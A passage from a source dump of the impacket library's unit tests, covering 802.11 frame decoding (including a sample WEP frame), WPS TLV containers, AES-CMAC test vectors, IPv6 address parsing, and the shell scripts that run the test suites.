14 | self.WEPData=b'\x08\x41\x3a\x01\x00\x17\x3f\x44\x4f\x96\x00\x13\xce\x67\x0e\x73\x00\x17\x3f\x44\x4f\x96\xb0\x04\xeb\xcd\x8b\x00\x6e\xdf\x93\x36\x39\x5a\x39\x66\x6b\x96\xd1\x7a\xe1\xae\xb6\x11\x22\xfd\xf0\xd4\x0d\x6a\xb8\xb1\xe6\x2e\x1f\x25\x7d\x64\x1a\x07\xd5\x86\xd2\x19\x34\xb5\xf7\x8a\x62\x33\x59\x6e\x89\x01\x73\x50\x12\xbb\xde\x17\xdd\xb5\xd4\x35'
15 | dot11_decoder = Dot11Decoder()
16 | self.in0=dot11_decoder.decode(self.WEPData)
17 | self.in1=self.in0.child()
18 | self.in2=self.in1.child()
19 | self.in3=self.in2.child()
20 | if self.WEPKey:
21 | self.in4=self.in3.child()
22 | self.in5=self.in4.child()
23 |
24 | def test_01_Dot11Decoder(self):
25 | 'Test Dot11 decoder'
26 | if PY2:
27 | self.assertEqual(str(self.in0.__class__), "impacket.dot11.Dot11")
28 | else:
29 | self.assertEqual(str(self.in0.__class__), "")
30 |
31 | def test_02_Dot11DataFrameDecoder(self):
32 | 'Test Dot11DataFrame decoder'
33 | if PY2:
34 | self.assertEqual(str(self.in1.__class__), "impacket.dot11.Dot11DataFrame")
35 | else:
36 | self.assertEqual(str(self.in1.__class__), "")
37 |
38 | def test_03_Dot11WEP(self):
39 | 'Test Dot11WEP decoder'
40 | if PY2:
41 | self.assertEqual(str(self.in2.__class__), "impacket.dot11.Dot11WEP")
42 | else:
43 | self.assertEqual(str(self.in2.__class__), "")
44 |
45 | def test_04_Dot11WEPData(self):
46 | 'Test Dot11WEPData decoder'
47 |
48 | if not self.WEPKey:
49 | return
50 |
51 | self.assertEqual(str(self.in3.__class__), "impacket.dot11.Dot11WEPData")
52 |
53 | # Test if wep data "get_packet" is correct
54 | wepdata=b'\x6e\xdf\x93\x36\x39\x5a\x39\x66\x6b\x96\xd1\x7a\xe1\xae\xb6\x11\x22\xfd\xf0\xd4\x0d\x6a\xb8\xb1\xe6\x2e\x1f\x25\x7d\x64\x1a\x07\xd5\x86\xd2\x19\x34\xb5\xf7\x8a\x62\x33\x59\x6e\x89\x01\x73\x50\x12\xbb\xde\x17'
55 | self.assertEqual(self.in3.get_packet(),wepdata)
56 |
57 | def test_05_LLC(self):
58 | 'Test LLC decoder'
59 | if self.WEPKey:
60 | self.assertEqual(str(self.in4.__class__), "impacket.dot11.LLC")
61 |
62 | def test_06_Data(self):
63 | 'Test LLC Data decoder'
64 |
65 | if self.WEPKey:
66 | dataclass=self.in4.__class__
67 | else:
68 | dataclass=self.in3.__class__
69 |
70 | self.assertTrue(str(dataclass).find('ImpactPacket.Data') > 0)
71 |
72 | suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11Decoder)
73 | unittest.TextTestRunner(verbosity=1).run(suite)
74 |
--------------------------------------------------------------------------------
/impacket/tests/dot11/test_FrameControlACK.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # sorry, this is very ugly, but I'm in python 2.5
3 | import sys
4 | sys.path.insert(0,"../..")
5 |
6 | from impacket.dot11 import Dot11,Dot11Types,Dot11ControlFrameACK
7 | import unittest
8 |
9 | class TestDot11FrameControlACK(unittest.TestCase):
10 |
11 | def setUp(self):
12 | # 802.11 Control Frame ACK
13 | self.frame_orig=b'\xd4\x00\x00\x00\x00\x08\x54\xac\x2f\x85\xb7\x7f\xc3\x9e'
14 |
15 | d = Dot11(self.frame_orig)
16 |
17 | type = d.get_type()
18 | self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL)
19 |
20 | subtype = d.get_subtype()
21 | self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_ACKNOWLEDGMENT)
22 |
23 | typesubtype = d.get_type_n_subtype()
24 | self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_ACKNOWLEDGMENT)
25 |
26 | self.ack = Dot11ControlFrameACK(d.get_body_as_string())
27 |
28 | d.contains(self.ack)
29 |
30 | def test_01_HeaderTailSize(self):
31 | 'Test Header and Tail Size field'
32 | self.assertEqual(self.ack.get_header_size(), 8)
33 | self.assertEqual(self.ack.get_tail_size(), 0)
34 |
35 | def test_02_Duration(self):
36 | 'Test Duration field'
37 |
38 | self.assertEqual(self.ack.get_duration(), 0)
39 | self.ack.set_duration(0x1234)
40 | self.assertEqual(self.ack.get_duration(), 0x1234)
41 |
42 | def test_03_RA(self):
43 | 'Test RA field'
44 |
45 | ra=self.ack.get_ra()
46 | self.assertEqual(ra.tolist(), [0x00,0x08,0x54,0xac,0x2f,0x85])
47 | ra[0]=0x12
48 | ra[5]=0x34
49 | self.ack.set_ra(ra)
50 | self.assertEqual(self.ack.get_ra().tolist(), [0x12,0x08,0x54,0xac,0x2f,0x34])
51 |
52 | suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11FrameControlACK)
53 | unittest.TextTestRunner(verbosity=1).run(suite)
54 |
--------------------------------------------------------------------------------
/impacket/tests/dot11/test_FrameControlCFEnd.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # sorry, this is very ugly, but I'm in python 2.5
3 | import sys
4 | sys.path.insert(0,"../..")
5 |
6 | from impacket.dot11 import Dot11,Dot11Types,Dot11ControlFrameCFEnd
7 | import unittest
8 |
9 | class TestDot11FrameControlCFEnd(unittest.TestCase):
10 |
11 | def setUp(self):
12 | # 802.11 Control Frame CFEnd
13 | self.frame_orig=b'\xe4\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x19\xe0\x98\x04\xd4\xad\x9c\x3c\xc0'
14 |
15 | d = Dot11(self.frame_orig)
16 |
17 | type = d.get_type()
18 | self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL)
19 |
20 | subtype = d.get_subtype()
21 | self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_CF_END)
22 |
23 | typesubtype = d.get_type_n_subtype()
24 | self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_CF_END)
25 |
26 | self.cfend = Dot11ControlFrameCFEnd(d.get_body_as_string())
27 |
28 | d.contains(self.cfend)
29 |
30 | def test_01_HeaderTailSize(self):
31 | 'Test Header and Tail Size field'
32 | self.assertEqual(self.cfend.get_header_size(), 14)
33 | self.assertEqual(self.cfend.get_tail_size(), 0)
34 |
35 | def test_02_Duration(self):
36 | 'Test Duration field'
37 |
38 | self.assertEqual(self.cfend.get_duration(), 0x00)
39 | self.cfend.set_duration(0x1234)
40 | self.assertEqual(self.cfend.get_duration(), 0x1234)
41 |
42 | def test_03_RA(self):
43 | 'Test RA field'
44 |
45 | ra=self.cfend.get_ra()
46 | self.assertEqual(ra.tolist(), [0xff,0xff,0xff,0xff,0xff,0xff])
47 | ra[0]=0x12
48 | ra[5]=0x34
49 | self.cfend.set_ra(ra)
50 | self.assertEqual(self.cfend.get_ra().tolist(), [0x12,0xff,0xff,0xff,0xff,0x34])
51 |
52 | def test_04_BSSID(self):
53 | 'Test BSS ID field'
54 |
55 | bssid=self.cfend.get_bssid()
56 | self.assertEqual(bssid.tolist(), [0x00,0x19,0xe0,0x98,0x04,0xd4])
57 | bssid[0]=0x12
58 | bssid[5]=0x34
59 | self.cfend.set_bssid(bssid)
60 | self.assertEqual(self.cfend.get_bssid().tolist(), [0x12,0x19,0xe0,0x98,0x04,0x34])
61 |
62 | suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11FrameControlCFEnd)
63 | unittest.TextTestRunner(verbosity=1).run(suite)
64 |
--------------------------------------------------------------------------------
/impacket/tests/dot11/test_FrameControlCFEndCFACK.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # sorry, this is very ugly, but I'm in python 2.5
3 | import sys
4 | sys.path.insert(0,"../..")
5 |
6 | from impacket.dot11 import Dot11,Dot11Types,Dot11ControlFrameCFEndCFACK
7 | import unittest
8 |
9 | class TestDot11FrameControlCFEndCFACK(unittest.TestCase):
10 |
11 | def setUp(self):
12 | # 802.11 Control Frame CFEndCFACK
13 | self.frame_orig=b'\xf4\x74\xde\xed\xe5\x56\x85\xf8\xd2\x3b\x96\xae\x0f\xb0\xd9\x8a\x03\x02\x38\x00'
14 |
15 | d = Dot11(self.frame_orig)
16 |
17 | type = d.get_type()
18 | self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL)
19 |
20 | subtype = d.get_subtype()
21 | self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_CF_END_CF_ACK)
22 |
23 | typesubtype = d.get_type_n_subtype()
24 | self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_CF_END_CF_ACK)
25 |
26 | self.cfendcfack = Dot11ControlFrameCFEndCFACK(d.get_body_as_string())
27 |
28 | d.contains(self.cfendcfack)
29 |
30 | def test_01_HeaderTailSize(self):
31 | 'Test Header and Tail Size field'
32 | self.assertEqual(self.cfendcfack.get_header_size(), 14)
33 | self.assertEqual(self.cfendcfack.get_tail_size(), 0)
34 |
35 | def test_02_Duration(self):
36 | 'Test Duration field'
37 |
38 | self.assertEqual(self.cfendcfack.get_duration(), 0xEDDE)
39 | self.cfendcfack.set_duration(0x1234)
40 | self.assertEqual(self.cfendcfack.get_duration(), 0x1234)
41 |
42 | def test_03_RA(self):
43 | 'Test RA field'
44 |
45 | ra=self.cfendcfack.get_ra()
46 | self.assertEqual(ra.tolist(), [0xe5,0x56,0x85,0xf8,0xd2,0x3b])
47 | ra[0]=0x12
48 | ra[5]=0x34
49 | self.cfendcfack.set_ra(ra)
50 | self.assertEqual(self.cfendcfack.get_ra().tolist(), [0x12,0x56,0x85,0xf8,0xd2,0x34])
51 |
52 | def test_04_BSSID(self):
53 | 'Test BSS ID field'
54 |
55 | bssid=self.cfendcfack.get_bssid()
56 | self.assertEqual(bssid.tolist(), [0x96,0xae,0x0f,0xb0,0xd9,0x8a])
57 | bssid[0]=0x12
58 | bssid[5]=0x34
59 | self.cfendcfack.set_bssid(bssid)
60 | self.assertEqual(self.cfendcfack.get_bssid().tolist(), [0x12,0xae,0x0f,0xb0,0xd9,0x34])
61 |
62 | suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11FrameControlCFEndCFACK)
63 | unittest.TextTestRunner(verbosity=1).run(suite)
64 |
--------------------------------------------------------------------------------
/impacket/tests/dot11/test_FrameControlCTS.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # sorry, this is very ugly, but I'm in python 2.5
3 | import sys
4 | sys.path.insert(0,"../..")
5 |
6 | from impacket.dot11 import Dot11,Dot11Types,Dot11ControlFrameCTS
7 | import unittest
8 |
9 | class TestDot11FrameControlCTS(unittest.TestCase):
10 |
11 | def setUp(self):
12 | # 802.11 Control Frame CTS
13 | self.frame_orig=b'\xc4\x00\x3b\x12\x00\x19\xe0\x98\x04\xd4\x2b\x8a\x65\x17'
14 |
15 | d = Dot11(self.frame_orig)
16 |
17 | type = d.get_type()
18 | self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL)
19 |
20 | subtype = d.get_subtype()
21 | self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_CLEAR_TO_SEND)
22 |
23 | typesubtype = d.get_type_n_subtype()
24 | self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_CLEAR_TO_SEND)
25 |
26 | self.cts = Dot11ControlFrameCTS(d.get_body_as_string())
27 |
28 | d.contains(self.cts)
29 |
30 | def test_01_HeaderTailSize(self):
31 | 'Test Header and Tail Size field'
32 | self.assertEqual(self.cts.get_header_size(), 8)
33 | self.assertEqual(self.cts.get_tail_size(), 0)
34 |
35 | def test_02_Duration(self):
36 | 'Test Duration field'
37 |
38 | self.assertEqual(self.cts.get_duration(), 4667)
39 | self.cts.set_duration(0x1234)
40 | self.assertEqual(self.cts.get_duration(), 0x1234)
41 |
42 | def test_03_RA(self):
43 | 'Test RA field'
44 |
45 | ra=self.cts.get_ra()
46 |
47 | self.assertEqual(ra.tolist(), [0x00,0x19,0xe0,0x98,0x04,0xd4])
48 | ra[0]=0x12
49 | ra[5]=0x34
50 | self.cts.set_ra(ra)
51 | self.assertEqual(self.cts.get_ra().tolist(), [0x12,0x19,0xe0,0x98,0x04,0x34])
52 |
53 | suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11FrameControlCTS)
54 | unittest.TextTestRunner(verbosity=1).run(suite)
55 |
--------------------------------------------------------------------------------
/impacket/tests/dot11/test_FrameControlPSPoll.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # sorry, this is very ugly, but I'm in python 2.5
3 | import sys
4 | sys.path.insert(0,"../..")
5 |
6 | from impacket.dot11 import Dot11,Dot11Types,Dot11ControlFramePSPoll
7 | import unittest
8 |
9 | class TestDot11FrameControlPSPoll(unittest.TestCase):
10 |
11 | def setUp(self):
12 | # 802.11 Control Frame PSPoll
13 | self.frame_orig=b'\xa6\x73\xf1\xaf\x48\x06\xee\x23\x2b\xc9\xfe\xbe\xe5\x05\x4c\x0a\x04\xa0\x00\x0f'
14 |
15 | d = Dot11(self.frame_orig)
16 |
17 | type = d.get_type()
18 | self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL)
19 |
20 | subtype = d.get_subtype()
21 | self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_POWERSAVE_POLL)
22 |
23 | typesubtype = d.get_type_n_subtype()
24 | self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_POWERSAVE_POLL)
25 |
26 | self.pspoll = Dot11ControlFramePSPoll(d.get_body_as_string())
27 |
28 | d.contains(self.pspoll)
29 |
30 | def test_01_HeaderTailSize(self):
31 | 'Test Header and Tail Size field'
32 | self.assertEqual(self.pspoll.get_header_size(), 14)
33 | self.assertEqual(self.pspoll.get_tail_size(), 0)
34 |
35 | def test_02_AID(self):
36 | 'Test AID field'
37 |
38 | self.assertEqual(self.pspoll.get_aid(), 0xAFF1)
39 | self.pspoll.set_aid(0x1234)
40 | self.assertEqual(self.pspoll.get_aid(), 0x1234)
41 |
42 | def test_03_BSSID(self):
43 | 'Test BSS ID field'
44 |
45 | bssid=self.pspoll.get_bssid()
46 | self.assertEqual(bssid.tolist(), [0x48,0x06,0xee,0x23,0x2b,0xc9])
47 | bssid[0]=0x12
48 | bssid[5]=0x34
49 | self.pspoll.set_bssid(bssid)
50 | self.assertEqual(self.pspoll.get_bssid().tolist(), [0x12,0x06,0xee,0x23,0x2b,0x34])
51 |
52 | def test_04_TA(self):
53 | 'Test TA field'
54 |
55 | ta=self.pspoll.get_ta()
56 | self.assertEqual(ta.tolist(), [0xfe,0xbe,0xe5,0x05,0x4c,0x0a])
57 | ta[0]=0x12
58 | ta[5]=0x34
59 | self.pspoll.set_ta(ta)
60 | self.assertEqual(self.pspoll.get_ta().tolist(), [0x12,0xbe,0xe5,0x05,0x4c,0x34])
61 |
62 | suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11FrameControlPSPoll)
63 | unittest.TextTestRunner(verbosity=1).run(suite)
64 |
--------------------------------------------------------------------------------
/impacket/tests/dot11/test_FrameControlRTS.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # sorry, this is very ugly, but I'm in python 2.5
3 | import sys
4 | sys.path.insert(0,"../..")
5 |
6 | from impacket.dot11 import Dot11, Dot11Types, Dot11ControlFrameRTS
7 | import unittest
8 |
9 | class TestDot11FrameControlRTS(unittest.TestCase):
10 |
11 | def setUp(self):
12 | # 802.11 Control Frame RTS
13 | self.frame_orig=b'\xb4\x00\x81\x01\x00\x08\x54\xac\x2f\x85\x00\x23\x4d\x09\x86\xfe\x99\x75\x43\x73'
14 |
15 | d = Dot11(self.frame_orig)
16 |
17 | type = d.get_type()
18 | self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL)
19 |
20 | subtype = d.get_subtype()
21 | self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_REQUEST_TO_SEND)
22 |
23 | typesubtype = d.get_type_n_subtype()
24 | self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_REQUEST_TO_SEND)
25 |
26 | self.rts = Dot11ControlFrameRTS(d.get_body_as_string())
27 |
28 | d.contains(self.rts)
29 |
30 | def test_01_HeaderTailSize(self):
31 | 'Test Header and Tail Size field'
32 | self.assertEqual(self.rts.get_header_size(), 14)
33 | self.assertEqual(self.rts.get_tail_size(), 0)
34 |
35 | def test_02_Duration(self):
36 | 'Test Duration field'
37 |
38 | self.assertEqual(self.rts.get_duration(), 0x181)
39 | self.rts.set_duration(0x1234)
40 | self.assertEqual(self.rts.get_duration(), 0x1234)
41 |
42 | def test_03_RA(self):
43 | 'Test RA field'
44 |
45 | ra=self.rts.get_ra()
46 | self.assertEqual(ra.tolist(), [0x00,0x08,0x54,0xac,0x2f,0x85])
47 | ra[0]=0x12
48 | ra[5]=0x34
49 | self.rts.set_ra(ra)
50 | self.assertEqual(self.rts.get_ra().tolist(), [0x12,0x08,0x54,0xac,0x2f,0x34])
51 |
52 | def test_04_TA(self):
53 | 'Test TA field'
54 |
55 | ta=self.rts.get_ta()
56 | self.assertEqual(ta.tolist(), [0x00,0x23,0x4d,0x09,0x86,0xfe])
57 | ta[0]=0x12
58 | ta[5]=0x34
59 | self.rts.set_ta(ta)
60 | self.assertEqual(self.rts.get_ta().tolist(), [0x12,0x23,0x4d,0x09,0x86,0x34])
61 |
62 | suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11FrameControlRTS)
63 | unittest.TextTestRunner(verbosity=1).run(suite)
64 |
--------------------------------------------------------------------------------
/impacket/tests/dot11/test_helper.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # Copyright (c) 2003-2013 CORE Security Technologies
3 | #
4 | # This software is provided under under a slightly modified version
5 | # of the Apache Software License. See the accompanying LICENSE file
6 | # for more information.
7 | #
8 | # $Id$
9 | #
10 | # Description:
11 | # Tests for helper used to build ProtocolPackets
12 | #
13 | # Author:
14 | # Aureliano Calvo
15 |
16 | # sorry, this is very ugly, but I'm in python 2.5
17 | import sys
18 | sys.path.insert(0,"../../..")
19 |
20 | import unittest
21 | import impacket.helper as h
22 |
23 | class TestHelpers(unittest.TestCase):
24 |
25 | def test_well_formed(self):
26 | class MockPacket(h.ProtocolPacket):
27 | byte_field = h.Byte(0)
28 | word_field = h.Word(1, ">")
29 | three_bytes_field = h.ThreeBytesBigEndian(3)
30 | long_field = h.Long(6, ">")
31 | aliased_bit_field = h.Bit(0,0)
32 |
33 | header_size = 4
34 | tail_size = 0
35 |
36 | p = MockPacket()
37 | p.byte_field = 1
38 | p.word_field = 2
39 | p.three_bytes_field = 4
40 | p.long_field = 8
41 |
42 | self.assertEqual(1, p.byte_field)
43 | self.assertEqual(2, p.word_field)
44 | self.assertEqual(4, p.three_bytes_field)
45 | self.assertEqual(8, p.long_field)
46 |
47 | self.assertEqual(True, p.aliased_bit_field)
48 |
49 | p.aliased_bit_field = False
50 |
51 | self.assertEqual(0, p.byte_field)
52 |
53 | self.assertEqual(p.get_packet(), MockPacket(p.get_packet()).get_packet()) # it is the same packet after reprocessing.
54 |
55 |
56 | suite = unittest.TestLoader().loadTestsFromTestCase(TestHelpers)
57 | unittest.TextTestRunner(verbosity=1).run(suite)
58 |
--------------------------------------------------------------------------------
/impacket/tests/dot11/test_wps.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # Copyright (c) 2003-2013 CORE Security Technologies
3 | #
4 | # This software is provided under under a slightly modified version
5 | # of the Apache Software License. See the accompanying LICENSE file
6 | # for more information.
7 | #
8 | # $Id$
9 | #
10 | # Description:
11 | # Tests for WPS packets
12 | #
13 | # Author:
14 | # Aureliano Calvo
15 |
16 |
17 | # sorry, this is very ugly, but I'm in python 2.5
18 | import sys
19 | sys.path.insert(0,"../../..")
20 |
21 |
22 | import unittest
23 | from impacket import wps
24 | import array
25 |
26 |
27 | class TestTLVContainer(unittest.TestCase):
28 |
29 | def testNormalUsageContainer(self):
30 | BUILDERS={
31 | 1: wps.StringBuilder(),
32 | 2: wps.ByteBuilder(),
33 | 3: wps.NumBuilder(2)
34 | }
35 | tlvc = wps.TLVContainer(builders=BUILDERS)
36 |
37 | KINDS_N_VALUES = (
38 | (1, b"Sarlanga"),
39 | (2, 1),
40 | (3, 1024),
41 | (4, array.array("B", [1,2,3]))
42 | )
43 | for k,v in KINDS_N_VALUES:
44 | tlvc.append(k,v)
45 |
46 | tlvc2 = wps.TLVContainer(builders=BUILDERS)
47 | tlvc2.from_ary(tlvc.to_ary())
48 |
49 | for k,v in KINDS_N_VALUES:
50 | self.assertEqual(v, tlvc2.first(k))
51 |
52 | self.assertEqual(tlvc.to_ary(), tlvc2.to_ary())
53 | self.assertEquals(b"Sarlanga", tlvc.first(1))
54 |
55 | suite = unittest.TestLoader().loadTestsFromTestCase(TestTLVContainer)
56 | unittest.TextTestRunner(verbosity=1).run(suite)
57 |
--------------------------------------------------------------------------------
/impacket/tests/misc/runalltestcases.bat:
--------------------------------------------------------------------------------
1 |
2 | FOR /f "tokens=*" %%G IN ('dir /B *.py') DO %%G
--------------------------------------------------------------------------------
/impacket/tests/misc/runalltestcases.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | separator='======================================================================'
3 |
4 | export PYTHONPATH=../..:$PYTHONPATH
5 |
6 | if [ $# -gt 0 ]
7 | then
8 | # Only run coverage when called by tox
9 | RUN="python -m coverage run --append --rcfile=../coveragerc "
10 | else
11 | RUN=python
12 | fi
13 |
14 | total=0
15 | ok=0
16 | failed=0
17 | for file in `ls *.py` ; do
18 | echo $separator
19 | echo Executing $RUN $file
20 | latest=$(
21 | $RUN $file 2>&1 | {
22 | while read line; do
23 | echo " $line" 1>&2
24 | latest="$line"
25 | done
26 | echo $latest
27 | }
28 | )
29 | #echo Latest ${latest}
30 | result=${latest:0:6}
31 | if [ "$result" = "FAILED" ]
32 | then
33 | (( failed++ ))
34 | elif [ "$result" = "OK" ]
35 | then
36 | (( ok++ ))
37 | fi
38 |
39 | (( total++ ))
40 | done
41 | echo $separator
42 | echo Summary:
43 | echo " OK $ok/$total"
44 | echo " $failed FAILED"
45 | if [ "$failed" -gt 0 ]; then
46 | echo "ERROR" >&2
47 | exit 1
48 | fi
49 |
--------------------------------------------------------------------------------
/impacket/tests/misc/test_crypto.py:
--------------------------------------------------------------------------------
1 | from __future__ import print_function, division
2 | import unittest
3 | from binascii import hexlify, unhexlify
4 |
5 | from impacket.crypto import Generate_Subkey, AES_CMAC, AES_CMAC_PRF_128
6 |
7 | def by8(s):
8 | return [s[i:i+8] for i in range(0,len(s),8)]
9 |
10 | def hex8(b):
11 | return ' '.join(by8(hexlify(b).decode('ascii')))
12 |
13 | def pp(prev ,s):
14 | print (prev, end= ' ')
15 | for c in by8(s):
16 | print(c, end=' ')
17 | # for i in range((len(s)//8)):
18 | # print("%s" % (s[:8]), end = ' ')
19 | # s = s[8:]
20 | print()
21 | return ''
22 |
23 | class CryptoTests(unittest.TestCase):
24 | def test_subkey(self):
25 | K = "2b7e151628aed2a6abf7158809cf4f3c"
26 | M = "6bc1bee22e409f96e93d7e117393172aae2d8a571e03ac9c9eb76fac45af8e5130c81c46a35ce411e5fbc1191a0a52eff69f2445df4f9b17ad2b417be66c3710"
27 |
28 | K1, K2 = Generate_Subkey(unhexlify(K))
29 | self.assertEqual(hex8(K1),'fbeed618 35713366 7c85e08f 7236a8de')
30 | self.assertEqual(hex8(K2),'f7ddac30 6ae266cc f90bc11e e46d513b')
31 |
32 | def test_AES_CMAC(self):
33 | K = "2b7e151628aed2a6abf7158809cf4f3c"
34 | M = "6bc1bee22e409f96e93d7e117393172aae2d8a571e03ac9c9eb76fac45af8e5130c81c46a35ce411e5fbc1191a0a52eff69f2445df4f9b17ad2b417be66c3710"
35 | # Example 1: len = 0
36 | self.assertEqual(hex8(AES_CMAC(unhexlify(K),unhexlify(M),0)),
37 | 'bb1d6929 e9593728 7fa37d12 9b756746')
38 | # Example 2: len = 16
39 | self.assertEqual(hex8(AES_CMAC(unhexlify(K),unhexlify(M),16)),
40 | '070a16b4 6b4d4144 f79bdd9d d04a287c')
41 | # Example 3: len = 40
42 | self.assertEqual(hex8(AES_CMAC(unhexlify(K),unhexlify(M),40)),
43 | 'dfa66747 de9ae630 30ca3261 1497c827')
44 | # Example 3: len = 64
45 | self.assertEqual(hex8(AES_CMAC(unhexlify(K),unhexlify(M),64)),
46 | '51f0bebf 7e3b9d92 fc497417 79363cfe')
47 | M = "eeab9ac8fb19cb012849536168b5d6c7a5e6c5b2fcdc32bc29b0e3654078a5129f6be2562046766f93eebf146b"
48 | K = "6c3473624099e17ff3a39ff6bdf6cc38"
49 | # Mac = dbf63fd93c4296609e2d66bf79251cb5
50 | # Example 4: len = 45
51 | self.assertEqual(hex8(AES_CMAC(unhexlify(K),unhexlify(M),45)),
52 | 'dbf63fd9 3c429660 9e2d66bf 79251cb5')
53 |
54 | def test_AES_CMAC_PRF_128(self):
55 | K = "000102030405060708090a0b0c0d0e0fedcb"
56 | M = "000102030405060708090a0b0c0d0e0f10111213"
57 |
58 | # AES-CMAC-PRF-128 Test Vectors
59 | # Example 1: len = 0, Key Length 18
60 | self.assertEqual(hex8(AES_CMAC_PRF_128(unhexlify(K),unhexlify(M),18,len(unhexlify(M)))),
61 | '84a348a4 a45d235b abfffc0d 2b4da09a')
62 | # Example 1: len = 0, Key Length 16
63 | self.assertEqual(hex8(AES_CMAC_PRF_128(unhexlify(K)[:16],unhexlify(M),16,len(unhexlify(M)))),
64 | '980ae87b 5f4c9c52 14f5b6a8 455e4c2d')
65 | # Example 1: len = 0, Key Length 10
66 | self.assertEqual(hex8(AES_CMAC_PRF_128(unhexlify(K)[:10],unhexlify(M),10,len(unhexlify(M)))),
67 | '290d9e11 2edb09ee 141fcf64 c0b72f3d')
68 |
69 | if __name__ == "__main__":
70 | unittest.main(verbosity=1)
71 |
--------------------------------------------------------------------------------
/impacket/tests/misc/test_ip6_address.py:
--------------------------------------------------------------------------------
1 | import unittest
2 | from binascii import hexlify
3 | from impacket.IP6_Address import IP6_Address
4 |
5 | def hexl(b):
6 | return hexlify(b).decode('ascii')
7 |
8 | class IP6AddressTests(unittest.TestCase):
9 | def test_bin(self):
10 | tests = (("A:B:C:D:E:F:1:2",'000a000b000c000d000e000f00010002',
11 | "A:B:C:D:E:F:1:2"),
12 | ("A:B:0:D:E:F:0:2",'000a000b0000000d000e000f00000002',
13 | "A:B::D:E:F:0:2"),
14 | ("A::BC:E:D",'000a000000000000000000bc000e000d',
15 | "A::BC:E:D"),
16 | ("A::BCD:EFFF:D",'000a00000000000000000bcdefff000d',
17 | "A::BCD:EFFF:D"),
18 | ("FE80:0000:0000:0000:020C:29FF:FE26:E251",
19 | 'fe80000000000000020c29fffe26e251',
20 | "FE80::20C:29FF:FE26:E251"),
21 | ("::",'00000000000000000000000000000000',
22 | "::"),
23 | ("1::",'00010000000000000000000000000000',
24 | "1::"),
25 | ("::2",'00000000000000000000000000000002',
26 | "::2"),
27 | )
28 | # print IP6_Address("A::BC:E:D").as_string(False)
29 | for torig, thex, texp in tests:
30 | ip = IP6_Address(torig)
31 | byt = ip.as_bytes()
32 | self.assertEqual(hexl(byt), thex)
33 | self.assertEqual(ip.as_string(), texp)
34 |
35 | if not hasattr(unittest.TestCase,'assertRaisesRegex'):
36 | if hasattr(unittest.TestCase,'assertRaisesRegexp'): # PY2.7, PY3.1
37 | assertRaisesRegex = unittest.TestCase.assertRaisesRegexp
38 | else: # PY2.6
39 | def assertRaisesRegex(self,ex,rx,*args):
40 | # Just ignore the regex
41 | return self.assertRaises(ex,rx,*args)
42 |
43 | def test_malformed(self):
44 | with self.assertRaisesRegex(Exception,r'address size'):
45 | IP6_Address("ABCD:EFAB:1234:1234:1234:1234:1234:12345")
46 | with self.assertRaisesRegex(Exception,r'triple colon'):
47 | IP6_Address(":::")
48 | with self.assertRaisesRegex(Exception,r'triple colon'):
49 | IP6_Address("::::")
50 | # Could also test other invalid inputs
51 | #IP6_Address("AB:CD:EF")
52 | #IP6_Address("12::34::56")
53 | #IP6_Address("00BCDE::")
54 | #IP6_Address("DEFG::")
55 | # and how about these...
56 | #IP6_Address("A::0XBC:D")
57 | #IP6_Address("B:-123::")
58 | #IP6_Address("B:56 ::-0xE")
59 |
60 | if __name__=='__main__':
61 | unittest.main(verbosity=1)
62 |
--------------------------------------------------------------------------------
/impacket/tests/runall.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | if [ $# -gt 0 ]
3 | then
4 | SUFFIX=$1
5 | # Only run coverage when called by tox
6 | RUN="python -m coverage run --append --rcfile=../coveragerc "
7 | RUNLOCAL="python -m coverage run --append --rcfile=./coveragerc "
8 | COVERAGE=true
9 | else
10 | SUFFIX=XX
11 | RUN=python
12 | RUNLOCAL=python
13 | COVERAGE=
14 | fi
15 |
16 | export PYTHONPATH=../:$PYTHONPATH
17 |
18 | OUTPUTFILE=/tmp/impacketoutput$SUFFIX.txt
19 | # Let's remove the OUTPUTFILE in case it exists
20 | rm -f $OUTPUTFILE
21 |
22 | # Start running the tests
23 |
24 | echo Python Version
25 | python -V
26 |
27 | echo Walking modules
28 | $RUNLOCAL ./walkmodules.py
29 |
30 | echo Testing ImpactPacket
31 | cd ImpactPacket
32 | ./runalltestcases.sh $COVERAGE 2>&1 1>/dev/null | tee -a $OUTPUTFILE
33 |
34 | echo Testing dot11
35 | cd ../dot11
